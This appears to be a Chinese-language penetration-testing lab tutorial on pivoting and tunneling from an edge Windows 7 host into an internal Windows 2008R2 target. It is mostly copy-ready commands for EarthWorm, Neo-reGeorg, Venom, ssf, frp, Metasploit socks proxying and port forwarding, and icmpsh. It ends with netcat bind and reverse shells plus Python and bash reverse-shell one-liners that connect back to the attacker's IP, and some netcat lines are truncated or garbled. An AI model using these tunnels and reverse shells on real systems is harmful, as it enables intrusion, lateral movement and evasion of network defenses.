0x01 环境介绍
边缘机器：
windows 7
ip:192.168.52.137/192.168.220.133
目标机器:
windows 2008R2
ip:192.168.52.138
攻击机器：
windows 10
ip:192.168.220.1
0x02 EarthWorm
作者链接
将ew_for_windows上传到边缘机器
1.正向连接
在win7机器上执行ew -s ssocksd -l 888监听本机888端口。然后在win10机器上使用SocksCap64进行连接
然后把firefox放进文件运行
2.反向连接
攻击机器上执行ew_for_Win.exe -s rcsocks -l 1080 -e 1234对外1234端口转发到1080端口，然后边缘机器连接ew_for_Win.exe -s rssocks -d 192.168.220.1 -e 1234
再用SocksCap64代理本地127.0.0.1端口1080
0x03 Neo-reGeorg
这个是走http，生成php文件python neoreg.py generate -k 123456
在neoreg_server目录下生成了几个文件
针对不同类型上传不同脚本
攻击机连接python neoreg.py -k 123456 -u http://192.168.220.133/tunnel.php
然后同样用SocksCap64代理本地1080端口
0x04 Venom
攻击机器：
admin.exe -lport 9999
边缘机器：
agent.exe -rhost 192.168.220.1 -rport 9999
0x05 ssf
正向：
把certs文件夹和ssfd上传到边缘机器
目标边界监听1050端口
ssfd.exe ‐p 1050
攻击机连接目标边界的1050端口，并将数据转发给1051端口ssf.exe ‐D 1051 ‐p 1050 192.168.220.133
反向：
本地监听1234端口ssfd.exe ‐p 1234
然后目标边界连接我们的1234端口，并将数据转发给12345端口ssf.exe ‐F 12345 ‐p 1234 192.168.220.1
0x06 frp
攻击机器上设置frps.ini
[common]
bind_port = 6666
然后运行frps.exe -c frps.ini
然后在边缘机器设置frpc.ini
然后执行frpc.exe ‐c frpc.ini
然后监听本地8010端口
0x07 msf
搭建Socks4a代理
use auxiliary/server/socks4a
set SRVHOST 0.0.0.0
set SRVPORT 1080
run
route add 0.0.0.0 0.0.0.0 1
修改proxychains配置文件
proxychains nmap 192.168.52.138 -sV -sT -p 80
0x07.1 portfwd端口转发
portfwd 是meterpreter提供的一种基本的端口转发。porfwd可以反弹单个端口到本地，并且监听，使用方法如下
portfwd add -l 3389 -r 192.168.220.133 -p 3389
然后我们访问本地3389
rdesktop 127.0.0.1:3389
0x08 icmpsh
因为icmpsh工具要代替系统本身的ping命令的应答程序，所以需要输入命令来关闭本地程序的icmp应答，如果要恢复就设置为0，否则shell的允许会不稳定，比如一直刷屏，无法进行交互输入
sysctl -w net.ipv4.icmp_echo_ignore_all=1
攻击机：./icmpsh_m.py 攻击ip 受害ip
受害机：icmpsh.exe -t 攻击机ip
0x09 nc
1.正向
目标机器
nc -lvp 4444 -e /bin/sh linux
nc -lvp 4444 -e c:windowssystem32cmd.exe windows
攻击机器
nc <目标机器ip> 4444
2.反向
攻击机器监听本地端口
nc -lvp 1234
目标机器
nc
nc
在一般情况下目标机器是没有nc的。这里可以用其他工具或者编程语言来代替nc
python反向shell
攻击机器：nc -lvp 2222
目标机器：python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.220.1',2222));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
bash反向shell
攻击机器：nc -lvp 2222
目标机器：bash -i >& /dev/tcp/192.168.220.1/2222 0>&1